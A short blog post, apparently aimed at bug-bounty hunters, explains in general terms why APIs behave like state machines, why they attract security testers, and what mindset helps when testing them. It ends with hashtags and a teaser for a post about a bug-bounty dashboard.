APIs Are Often State Machines

Even though REST APIs are designed to be stateless, real-world APIs track user actions, payment status, workflow steps, and more. When state transitions are not properly enforced, attackers can skip, repeat, or reorder steps, which often leads to security issues.

Why APIs Are Attractive to Bug Hunters

APIs are a high-value target because they:

Are less protected than frontends.
Contain complex authorization and authentication logic.
Handle sensitive actions like payments or user data.
Often have incomplete or inconsistent security checks.

Most major security breaches today involve API vulnerabilities. This is why understanding APIs deeply is essential for anyone interested in bug bounty programs or pentesting.

How to Think About APIs While Testing

Instead of asking, “Is this endpoint vulnerable?” a security researcher should ask:

“What assumptions does this endpoint make about me and the data I can access?”

This mindset helps uncover flaws that automated scanners or superficial tests often miss.

WebSecurity #Pentesting #BugBounty #CyberSecurity #YogSec #APISecurity

BugBoard: I Built a Dashboard to Make Bug Bounty Hunting Less Painful Bug bounty hunting isn’t hard because of lack of tools. It’s hard because of too many tools, too many terminals, and zero structure.

Abhinav Singwal — Mon, 26 Jan 2026 16:16:17 +0000